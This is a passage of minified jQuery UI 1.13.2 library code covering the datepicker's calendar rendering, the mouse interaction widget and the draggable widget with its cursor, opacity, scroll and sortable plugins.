Date(A.getFullYear(),A.getMonth(),A.getDate())),N=this._get(t,"isRTL"),E=this._get(t,"showButtonPanel"),W=this._get(t,"hideIfNoPrevNext"),F=this._get(t,"navigationAsDateFormat"),L=this._getNumberOfMonths(t),R=this._get(t,"showCurrentAtPos"),A=this._get(t,"stepMonths"),Y=1!==L[0]||1!==L[1],B=this._daylightSavingAdjust(t.currentDay?new Date(t.currentYear,t.currentMonth,t.currentDay):new Date(9999,9,9)),j=this._getMinMaxDate(t,"min"),q=this._getMinMaxDate(t,"max"),K=t.drawMonth-R,U=t.drawYear;if(K<0&&(K+=12,U--),q)for(e=this._daylightSavingAdjust(new Date(q.getFullYear(),q.getMonth()-L[0]*L[1]+1,q.getDate())),e=j&&e<j?j:e;this._daylightSavingAdjust(new Date(U,K,1))>e;)--K<0&&(K=11,U--);for(t.drawMonth=K,t.drawYear=U,R=this._get(t,"prevText"),R=F?this.formatDate(R,this._daylightSavingAdjust(new Date(U,K-A,1)),this._getFormatConfig(t)):R,i=this._canAdjustMonth(t,-1,U,K)?V("<a>").attr({class:"ui-datepicker-prev ui-corner-all","data-handler":"prev","data-event":"click",title:R}).append(V("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(N?"e":"w")).text(R))[0].outerHTML:W?"":V("<a>").attr({class:"ui-datepicker-prev ui-corner-all ui-state-disabled",title:R}).append(V("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(N?"e":"w")).text(R))[0].outerHTML,R=this._get(t,"nextText"),R=F?this.formatDate(R,this._daylightSavingAdjust(new Date(U,K+A,1)),this._getFormatConfig(t)):R,s=this._canAdjustMonth(t,1,U,K)?V("<a>").attr({class:"ui-datepicker-next ui-corner-all","data-handler":"next","data-event":"click",title:R}).append(V("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(N?"w":"e")).text(R))[0].outerHTML:W?"":V("<a>").attr({class:"ui-datepicker-next ui-corner-all ui-state-disabled",title:R}).append(V("<span>").attr("class","ui-icon ui-icon-circle-triangle-"+(N?"w":"e")).text(R))[0].outerHTML,A=this._get(t,"currentText"),W=this._get(t,"gotoCurrent")&&t.currentDay?B:O,A=F?this.formatDate(A,W,this._getFormatConfig(t)):A,R="",t.inline||(R=V("<button>").attr({type:"button",class:"ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all","data-handler":"hide","data-event":"click"}).text(this._get(t,"closeText"))[0].outerHTML),F="",E&&(F=V("<div class='ui-datepicker-buttonpane ui-widget-content'>").append(N?R:"").append(this._isInRange(t,W)?V("<button>").attr({type:"button",class:"ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all","data-handler":"today","data-event":"click"}).text(A):"").append(N?"":R)[0].outerHTML),n=parseInt(this._get(t,"firstDay"),10),n=isNaN(n)?0:n,o=this._get(t,"showWeek"),a=this._get(t,"dayNames"),r=this._get(t,"dayNamesMin"),l=this._get(t,"monthNames"),h=this._get(t,"monthNamesShort"),c=this._get(t,"beforeShowDay"),u=this._get(t,"showOtherMonths"),d=this._get(t,"selectOtherMonths"),p=this._getDefaultDate(t),f="",m=0;m<L[0];m++){for(_="",this.maxRows=4,v=0;v<L[1];v++){if(b=this._daylightSavingAdjust(new Date(U,K,t.selectedDay)),y=" ui-corner-all",w="",Y){if(w+="<div class='ui-datepicker-group",1<L[1])switch(v){case 0:w+=" ui-datepicker-group-first",y=" ui-corner-"+(N?"right":"left");break;case L[1]-1:w+=" ui-datepicker-group-last",y=" ui-corner-"+(N?"left":"right");break;default:w+=" ui-datepicker-group-middle",y=""}w+="'>"}for(w+="<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix"+y+"'>"+(/all|left/.test(y)&&0===m?N?s:i:"")+(/all|right/.test(y)&&0===m?N?i:s:"")+this._generateMonthYearHeader(t,K,U,j,q,0<m||0<v,l,h)+"</div><table class='ui-datepicker-calendar'><thead><tr>",x=o?"<th class='ui-datepicker-week-col'>"+this._get(t,"weekHeader")+"</th>":"",g=0;g<7;g++)x+="<th scope='col'"+(5<=(g+n+6)%7?" class='ui-datepicker-week-end'":"")+"><span title='"+a[k=(g+n)%7]+"'>"+r[k]+"</span></th>";for(w+=x+"</tr></thead><tbody>",D=this._getDaysInMonth(U,K),U===t.selectedYear&&K===t.selectedMonth&&(t.selectedDay=Math.min(t.selectedDay,D)),C=(this._getFirstDayOfMonth(U,K)-n+7)%7,D=Math.ceil((C+D)/7),I=Y&&this.maxRows>D?this.maxRows:D,this.maxRows=I,T=this._daylightSavingAdjust(new Date(U,K,1-C)),P=0;P<I;P++){for(w+="<tr>",M=o?"<td class='ui-datepicker-week-col'>"+this._get(t,"calculateWeek")(T)+"</td>":"",g=0;g<7;g++)S=c?c.apply(t.input?t.input[0]:null,[T]):[!0,""],z=(H=T.getMonth()!==K)&&!d||!S[0]||j&&T<j||q&&q<T,M+="<td class='"+(5<=(g+n+6)%7?" ui-datepicker-week-end":"")+(H?" ui-datepicker-other-month":"")+(T.getTime()===b.getTime()&&K===t.selectedMonth&&t._keyEvent||p.getTime()===T.getTime()&&p.getTime()===b.getTime()?" "+this._dayOverClass:"")+(z?" "+this._unselectableClass+" ui-state-disabled":"")+(H&&!u?"":" "+S[1]+(T.getTime()===B.getTime()?" "+this._currentClass:"")+(T.getTime()===O.getTime()?" ui-datepicker-today":""))+"'"+(H&&!u||!S[2]?"":" title='"+S[2].replace(/'/g,"&#39;")+"'")+(z?"":" data-handler='selectDay' data-event='click' data-month='"+T.getMonth()+"' data-year='"+T.getFullYear()+"'")+">"+(H&&!u?"&#xa0;":z?"<span class='ui-state-default'>"+T.getDate()+"</span>":"<a class='ui-state-default"+(T.getTime()===O.getTime()?" ui-state-highlight":"")+(T.getTime()===B.getTime()?" ui-state-active":"")+(H?" ui-priority-secondary":"")+"' href='#' aria-current='"+(T.getTime()===B.getTime()?"true":"false")+"' data-date='"+T.getDate()+"'>"+T.getDate()+"</a>")+"</td>",T.setDate(T.getDate()+1),T=this._daylightSavingAdjust(T);w+=M+"</tr>"}11<++K&&(K=0,U++),_+=w+="</tbody></table>"+(Y?"</div>"+(0<L[0]&&v===L[1]-1?"<div class='ui-datepicker-row-break'></div>":""):"")}f+=_}return f+=F,t._keyEvent=!1,f},_generateMonthYearHeader:function(t,e,i,s,n,o,a,r){var l,h,c,u,d,p,f=this._get(t,"changeMonth"),g=this._get(t,"changeYear"),m=this._get(t,"showMonthAfterYear"),_=this._get(t,"selectMonthLabel"),v=this._get(t,"selectYearLabel"),b="<div class='ui-datepicker-title'>",y="";if(o||!f)y+="<span class='ui-datepicker-month'>"+a[e]+"</span>";else{for(l=s&&s.getFullYear()===i,h=n&&n.getFullYear()===i,y+="<select class='ui-datepicker-month' aria-label='"+_+"' data-handler='selectMonth' data-event='change'>",c=0;c<12;c++)(!l||c>=s.getMonth())&&(!h||c<=n.getMonth())&&(y+="<option value='"+c+"'"+(c===e?" selected='selected'":"")+">"+r[c]+"</option>");y+="</select>"}if(m||(b+=y+(!o&&f&&g?"":"&#xa0;")),!t.yearshtml)if(t.yearshtml="",o||!g)b+="<span class='ui-datepicker-year'>"+i+"</span>";else{for(a=this._get(t,"yearRange").split(":"),u=(new Date).getFullYear(),d=(_=function(t){t=t.match(/c[+\-].*/)?i+parseInt(t.substring(1),10):t.match(/[+\-].*/)?u+parseInt(t,10):parseInt(t,10);return isNaN(t)?u:t})(a[0]),p=Math.max(d,_(a[1]||"")),d=s?Math.max(d,s.getFullYear()):d,p=n?Math.min(p,n.getFullYear()):p,t.yearshtml+="<select class='ui-datepicker-year' aria-label='"+v+"' data-handler='selectYear' data-event='change'>";d<=p;d++)t.yearshtml+="<option value='"+d+"'"+(d===i?" selected='selected'":"")+">"+d+"</option>";t.yearshtml+="</select>",b+=t.yearshtml,t.yearshtml=null}return b+=this._get(t,"yearSuffix"),m&&(b+=(!o&&f&&g?"":"&#xa0;")+y),b+="</div>"},_adjustInstDate:function(t,e,i){var s=t.selectedYear+("Y"===i?e:0),n=t.selectedMonth+("M"===i?e:0),e=Math.min(t.selectedDay,this._getDaysInMonth(s,n))+("D"===i?e:0),e=this._restrictMinMax(t,this._daylightSavingAdjust(new Date(s,n,e)));t.selectedDay=e.getDate(),t.drawMonth=t.selectedMonth=e.getMonth(),t.drawYear=t.selectedYear=e.getFullYear(),"M"!==i&&"Y"!==i||this._notifyChange(t)},_restrictMinMax:function(t,e){var i=this._getMinMaxDate(t,"min"),t=this._getMinMaxDate(t,"max"),e=i&&e<i?i:e;return t&&t<e?t:e},_notifyChange:function(t){var e=this._get(t,"onChangeMonthYear");e&&e.apply(t.input?t.input[0]:null,[t.selectedYear,t.selectedMonth+1,t])},_getNumberOfMonths:function(t){t=this._get(t,"numberOfMonths");return null==t?[1,1]:"number"==typeof t?[1,t]:t},_getMinMaxDate:function(t,e){return this._determineDate(t,this._get(t,e+"Date"),null)},_getDaysInMonth:function(t,e){return 32-this._daylightSavingAdjust(new Date(t,e,32)).getDate()},_getFirstDayOfMonth:function(t,e){return new Date(t,e,1).getDay()},_canAdjustMonth:function(t,e,i,s){var n=this._getNumberOfMonths(t),n=this._daylightSavingAdjust(new Date(i,s+(e<0?e:n[0]*n[1]),1));return e<0&&n.setDate(this._getDaysInMonth(n.getFullYear(),n.getMonth())),this._isInRange(t,n)},_isInRange:function(t,e){var i=this._getMinMaxDate(t,"min"),s=this._getMinMaxDate(t,"max"),n=null,o=null,a=this._get(t,"yearRange");return a&&(t=a.split(":"),a=(new Date).getFullYear(),n=parseInt(t[0],10),o=parseInt(t[1],10),t[0].match(/[+\-].*/)&&(n+=a),t[1].match(/[+\-].*/)&&(o+=a)),(!i||e.getTime()>=i.getTime())&&(!s||e.getTime()<=s.getTime())&&(!n||e.getFullYear()>=n)&&(!o||e.getFullYear()<=o)},_getFormatConfig:function(t){var e=this._get(t,"shortYearCutoff");return{shortYearCutoff:e="string"!=typeof e?e:(new Date).getFullYear()%100+parseInt(e,10),dayNamesShort:this._get(t,"dayNamesShort"),dayNames:this._get(t,"dayNames"),monthNamesShort:this._get(t,"monthNamesShort"),monthNames:this._get(t,"monthNames")}},_formatDate:function(t,e,i,s){e||(t.currentDay=t.selectedDay,t.currentMonth=t.selectedMonth,t.currentYear=t.selectedYear);e=e?"object"==typeof e?e:this._daylightSavingAdjust(new Date(s,i,e)):this._daylightSavingAdjust(new Date(t.currentYear,t.currentMonth,t.currentDay));return this.formatDate(this._get(t,"dateFormat"),e,this._getFormatConfig(t))}}),V.fn.datepicker=function(t){if(!this.length)return this;V.datepicker.initialized||(V(document).on("mousedown",V.datepicker._checkExternalClick),V.datepicker.initialized=!0),0===V("#"+V.datepicker._mainDivId).length&&V("body").append(V.datepicker.dpDiv);var e=Array.prototype.slice.call(arguments,1);return"string"==typeof t&&("isDisabled"===t||"getDate"===t||"widget"===t)||"option"===t&&2===arguments.length&&"string"==typeof arguments[1]?V.datepicker["_"+t+"Datepicker"].apply(V.datepicker,[this[0]].concat(e)):this.each(function(){"string"==typeof t?V.datepicker["_"+t+"Datepicker"].apply(V.datepicker,[this].concat(e)):V.datepicker._attachDatepicker(this,t)})},V.datepicker=new st,V.datepicker.initialized=!1,V.datepicker.uuid=(new Date).getTime(),V.datepicker.version="1.13.2";V.datepicker,V.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase());var rt=!1;V(document).on("mouseup",function(){rt=!1});V.widget("ui.mouse",{version:"1.13.2",options:{cancel:"input, textarea, button, select, option",distance:1,delay:0},_mouseInit:function(){var e=this;this.element.on("mousedown."+this.widgetName,function(t){return e._mouseDown(t)}).on("click."+this.widgetName,function(t){if(!0===V.data(t.target,e.widgetName+".preventClickEvent"))return V.removeData(t.target,e.widgetName+".preventClickEvent"),t.stopImmediatePropagation(),!1}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(t){if(!rt){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(t),this._mouseDownEvent=t;var e=this,i=1===t.which,s=!("string"!=typeof this.options.cancel||!t.target.nodeName)&&V(t.target).closest(this.options.cancel).length;return i&&!s&&this._mouseCapture(t)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){e.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=!1!==this._mouseStart(t),!this._mouseStarted)?(t.preventDefault(),!0):(!0===V.data(t.target,this.widgetName+".preventClickEvent")&&V.removeData(t.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(t){return e._mouseMove(t)},this._mouseUpDelegate=function(t){return e._mouseUp(t)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),t.preventDefault(),rt=!0)):!0}},_mouseMove:function(t){if(this._mouseMoved){if(V.ui.ie&&(!document.documentMode||document.documentMode<9)&&!t.button)return this._mouseUp(t);if(!t.which)if(t.originalEvent.altKey||t.originalEvent.ctrlKey||t.originalEvent.metaKey||t.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else if(!this.ignoreMissingWhich)return this._mouseUp(t)}return(t.which||t.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(t),t.preventDefault()):(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=!1!==this._mouseStart(this._mouseDownEvent,t),this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)),!this._mouseStarted)},_mouseUp:function(t){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,t.target===this._mouseDownEvent.target&&V.data(t.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(t)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete this._mouseDelayTimer),this.ignoreMissingWhich=!1,rt=!1,t.preventDefault()},_mouseDistanceMet:function(t){return Math.max(Math.abs(this._mouseDownEvent.pageX-t.pageX),Math.abs(this._mouseDownEvent.pageY-t.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),V.ui.plugin={add:function(t,e,i){var s,n=V.ui[t].prototype;for(s in i)n.plugins[s]=n.plugins[s]||[],n.plugins[s].push([e,i[s]])},call:function(t,e,i,s){var n,o=t.plugins[e];if(o&&(s||t.element[0].parentNode&&11!==t.element[0].parentNode.nodeType))for(n=0;n<o.length;n++)t.options[o[n][0]]&&o[n][1].apply(t.element,i)}},V.ui.safeBlur=function(t){t&&"body"!==t.nodeName.toLowerCase()&&V(t).trigger("blur")};V.widget("ui.draggable",V.ui.mouse,{version:"1.13.2",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this._addClass("ui-draggable"),this._setHandleClassName(),this._mouseInit()},_setOption:function(t,e){this._super(t,e),"handle"===t&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){(this.helper||this.element).is(".ui-draggable-dragging")?this.destroyOnClear=!0:(this._removeHandleClassName(),this._mouseDestroy())},_mouseCapture:function(t){var e=this.options;return!(this.helper||e.disabled||0<V(t.target).closest(".ui-resizable-handle").length)&&(this.handle=this._getHandle(t),!!this.handle&&(this._blurActiveElement(t),this._blockFrames(!0===e.iframeFix?"iframe":e.iframeFix),!0))},_blockFrames:function(t){this.iframeBlocks=this.document.find(t).map(function(){var t=V(this);return V("<div>").css("position","absolute").appendTo(t.parent()).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(t){var e=V.ui.safeActiveElement(this.document[0]);V(t.target).closest(e).length||V.ui.safeBlur(e)},_mouseStart:function(t){var e=this.options;return this.helper=this._createHelper(t),this._addClass(this.helper,"ui-draggable-dragging"),this._cacheHelperProportions(),V.ui.ddmanager&&(V.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=0<this.helper.parents().filter(function(){return"fixed"===V(this).css("position")}).length,this.positionAbs=this.element.offset(),this._refreshOffsets(t),this.originalPosition=this.position=this._generatePosition(t,!1),this.originalPageX=t.pageX,this.originalPageY=t.pageY,e.cursorAt&&this._adjustOffsetFromHelper(e.cursorAt),this._setContainment(),!1===this._trigger("start",t)?(this._clear(),!1):(this._cacheHelperProportions(),V.ui.ddmanager&&!e.dropBehaviour&&V.ui.ddmanager.prepareOffsets(this,t),this._mouseDrag(t,!0),V.ui.ddmanager&&V.ui.ddmanager.dragStart(this,t),!0)},_refreshOffsets:function(t){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:t.pageX-this.offset.left,top:t.pageY-this.offset.top}},_mouseDrag:function(t,e){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t,!0),this.positionAbs=this._convertPositionTo("absolute"),!e){e=this._uiHash();if(!1===this._trigger("drag",t,e))return this._mouseUp(new V.Event("mouseup",t)),!1;this.position=e.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",V.ui.ddmanager&&V.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var e=this,i=!1;return V.ui.ddmanager&&!this.options.dropBehaviour&&(i=V.ui.ddmanager.drop(this,t)),this.dropped&&(i=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!i||"valid"===this.options.revert&&i||!0===this.options.revert||"function"==typeof this.options.revert&&this.options.revert.call(this.element,i)?V(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){!1!==e._trigger("stop",t)&&e._clear()}):!1!==this._trigger("stop",t)&&this._clear(),!1},_mouseUp:function(t){return this._unblockFrames(),V.ui.ddmanager&&V.ui.ddmanager.dragStop(this,t),this.handleElement.is(t.target)&&this.element.trigger("focus"),V.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp(new V.Event("mouseup",{target:this.element[0]})):this._clear(),this},_getHandle:function(t){return!this.options.handle||!!V(t.target).closest(this.element.find(this.options.handle)).length},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this._addClass(this.handleElement,"ui-draggable-handle")},_removeHandleClassName:function(){this._removeClass(this.handleElement,"ui-draggable-handle")},_createHelper:function(t){var e=this.options,i="function"==typeof e.helper,t=i?V(e.helper.apply(this.element[0],[t])):"clone"===e.helper?this.element.clone().removeAttr("id"):this.element;return t.parents("body").length||t.appendTo("parent"===e.appendTo?this.element[0].parentNode:e.appendTo),i&&t[0]===this.element[0]&&this._setPositionRelative(),t[0]===this.element[0]||/(fixed|absolute)/.test(t.css("position"))||t.css("position","absolute"),t},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),"left"in(t=Array.isArray(t)?{left:+t[0],top:+t[1]||0}:t)&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_isRootNode:function(t){return/(html|body)/i.test(t.tagName)||t===this.document[0]},_getParentOffset:function(){var t=this.offsetParent.offset(),e=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==e&&V.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),{top:(t=this._isRootNode(this.offsetParent[0])?{top:0,left:0}:t).top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var t=this.element.position(),e=this._isRootNode(this.scrollParent[0]);return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+(e?0:this.scrollParent.scrollTop()),left:t.left-(parseInt(this.helper.css("left"),10)||0)+(e?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,e,i,s=this.options,n=this.document[0];this.relativeContainer=null,s.containment?"window"!==s.containment?"document"!==s.containment?s.containment.constructor!==Array?("parent"===s.containment&&(s.containment=this.helper[0].parentNode),(i=(e=V(s.containment))[0])&&(t=/(scroll|auto)/.test(e.css("overflow")),this.containment=[(parseInt(e.css("borderLeftWidth"),10)||0)+(parseInt(e.css("paddingLeft"),10)||0),(parseInt(e.css("borderTopWidth"),10)||0)+(parseInt(e.css("paddingTop"),10)||0),(t?Math.max(i.scrollWidth,i.offsetWidth):i.offsetWidth)-(parseInt(e.css("borderRightWidth"),10)||0)-(parseInt(e.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(i.scrollHeight,i.offsetHeight):i.offsetHeight)-(parseInt(e.css("borderBottomWidth"),10)||0)-(parseInt(e.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=e)):this.containment=s.containment:this.containment=[0,0,V(n).width()-this.helperProportions.width-this.margins.left,(V(n).height()||n.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]:this.containment=[V(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,V(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,V(window).scrollLeft()+V(window).width()-this.helperProportions.width-this.margins.left,V(window).scrollTop()+(V(window).height()||n.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]:this.containment=null},_convertPositionTo:function(t,e){e=e||this.position;var i="absolute"===t?1:-1,t=this._isRootNode(this.scrollParent[0]);return{top:e.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:t?0:this.offset.scroll.top)*i,left:e.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:t?0:this.offset.scroll.left)*i}},_generatePosition:function(t,e){var i,s=this.options,n=this._isRootNode(this.scrollParent[0]),o=t.pageX,a=t.pageY;return n&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),e&&(this.containment&&(i=this.relativeContainer?(i=this.relativeContainer.offset(),[this.containment[0]+i.left,this.containment[1]+i.top,this.containment[2]+i.left,this.containment[3]+i.top]):this.containment,t.pageX-this.offset.click.left<i[0]&&(o=i[0]+this.offset.click.left),t.pageY-this.offset.click.top<i[1]&&(a=i[1]+this.offset.click.top),t.pageX-this.offset.click.left>i[2]&&(o=i[2]+this.offset.click.left),t.pageY-this.offset.click.top>i[3]&&(a=i[3]+this.offset.click.top)),s.grid&&(t=s.grid[1]?this.originalPageY+Math.round((a-this.originalPageY)/s.grid[1])*s.grid[1]:this.originalPageY,a=!i||t-this.offset.click.top>=i[1]||t-this.offset.click.top>i[3]?t:t-this.offset.click.top>=i[1]?t-s.grid[1]:t+s.grid[1],t=s.grid[0]?this.originalPageX+Math.round((o-this.originalPageX)/s.grid[0])*s.grid[0]:this.originalPageX,o=!i||t-this.offset.click.left>=i[0]||t-this.offset.click.left>i[2]?t:t-this.offset.click.left>=i[0]?t-s.grid[0]:t+s.grid[0]),"y"===s.axis&&(o=this.originalPageX),"x"===s.axis&&(a=this.originalPageY)),{top:a-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:n?0:this.offset.scroll.top),left:o-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:n?0:this.offset.scroll.left)}},_clear:function(){this._removeClass(this.helper,"ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_trigger:function(t,e,i){return i=i||this._uiHash(),V.ui.plugin.call(this,t,[e,i,this],!0),/^(drag|start|stop)/.test(t)&&(this.positionAbs=this._convertPositionTo("absolute"),i.offset=this.positionAbs),V.Widget.prototype._trigger.call(this,t,e,i)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),V.ui.plugin.add("draggable","connectToSortable",{start:function(e,t,i){var s=V.extend({},t,{item:i.element});i.sortables=[],V(i.options.connectToSortable).each(function(){var t=V(this).sortable("instance");t&&!t.options.disabled&&(i.sortables.push(t),t.refreshPositions(),t._trigger("activate",e,s))})},stop:function(e,t,i){var s=V.extend({},t,{item:i.element});i.cancelHelperRemoval=!1,V.each(i.sortables,function(){var t=this;t.isOver?(t.isOver=0,i.cancelHelperRemoval=!0,t.cancelHelperRemoval=!1,t._storedCSS={position:t.placeholder.css("position"),top:t.placeholder.css("top"),left:t.placeholder.css("left")},t._mouseStop(e),t.options.helper=t.options._helper):(t.cancelHelperRemoval=!0,t._trigger("deactivate",e,s))})},drag:function(i,s,n){V.each(n.sortables,function(){var t=!1,e=this;e.positionAbs=n.positionAbs,e.helperProportions=n.helperProportions,e.offset.click=n.offset.click,e._intersectsWith(e.containerCache)&&(t=!0,V.each(n.sortables,function(){return this.positionAbs=n.positionAbs,this.helperProportions=n.helperProportions,this.offset.click=n.offset.click,t=this!==e&&this._intersectsWith(this.containerCache)&&V.contains(e.element[0],this.element[0])?!1:t})),t?(e.isOver||(e.isOver=1,n._parent=s.helper.parent(),e.currentItem=s.helper.appendTo(e.element).data("ui-sortable-item",!0),e.options._helper=e.options.helper,e.options.helper=function(){return s.helper[0]},i.target=e.currentItem[0],e._mouseCapture(i,!0),e._mouseStart(i,!0,!0),e.offset.click.top=n.offset.click.top,e.offset.click.left=n.offset.click.left,e.offset.parent.left-=n.offset.parent.left-e.offset.parent.left,e.offset.parent.top-=n.offset.parent.top-e.offset.parent.top,n._trigger("toSortable",i),n.dropped=e.element,V.each(n.sortables,function(){this.refreshPositions()}),n.currentItem=n.element,e.fromOutside=n),e.currentItem&&(e._mouseDrag(i),s.position=e.position)):e.isOver&&(e.isOver=0,e.cancelHelperRemoval=!0,e.options._revert=e.options.revert,e.options.revert=!1,e._trigger("out",i,e._uiHash(e)),e._mouseStop(i,!0),e.options.revert=e.options._revert,e.options.helper=e.options._helper,e.placeholder&&e.placeholder.remove(),s.helper.appendTo(n._parent),n._refreshOffsets(i),s.position=n._generatePosition(i,!0),n._trigger("fromSortable",i),n.dropped=!1,V.each(n.sortables,function(){this.refreshPositions()}))})}}),V.ui.plugin.add("draggable","cursor",{start:function(t,e,i){var s=V("body"),i=i.options;s.css("cursor")&&(i._cursor=s.css("cursor")),s.css("cursor",i.cursor)},stop:function(t,e,i){i=i.options;i._cursor&&V("body").css("cursor",i._cursor)}}),V.ui.plugin.add("draggable","opacity",{start:function(t,e,i){e=V(e.helper),i=i.options;e.css("opacity")&&(i._opacity=e.css("opacity")),e.css("opacity",i.opacity)},stop:function(t,e,i){i=i.options;i._opacity&&V(e.helper).css("opacity",i._opacity)}}),V.ui.plugin.add("draggable","scroll",{start:function(t,e,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(t,e,i){var s=i.options,n=!1,o=i.scrollParentNotHidden[0],a=i.document[0];o!==a&&"HTML"!==o.tagName?(s.axis&&"x"===s.axis||(i.overflowOffset.top+o.offsetHeight-t.pageY<s.scrollSensitivity?o.scrollTop=n=o.scrollTop+s.scrollSpeed:t.pageY-i.overflowOffset.top<s.scrollSensitivity&&(o.scrollTop=n=o.scrollTop-s.scrollSpeed)),s.axis&&"y"===s.axis||(i.overflowOffset.left+o.offsetWidth-t.pageX<s.scrollSensitivity?o.scrollLeft=n=o.scrollLeft+s.scrollSpeed:t.pageX-i.overflowOffset.left<s.scrollSensitivity&&(o.scrollLeft=n=o.scrollLeft-s.scrollSpeed))):(s.axis&&"x"===s.axis||(t.pageY-V(a).scrollTop()<s.scrollSensitivity?n=V(a).scrollTop(V(a).scrollTop()-s.scrollSpeed):V(window).height()-(t.pageY-V(a).scrollTop())<s.scrollSensitivity&&(n=V(a).scrollTop(V(a).scrollTop()+s.scrollSpeed))),s.axis&&"y"===s.axis||(t.pageX-V(a).scrollLeft()<s.scrollSensitivity?n=V(a).scrollLeft(V(a).scrollLeft()-s.scrollSpeed):V(window).width()-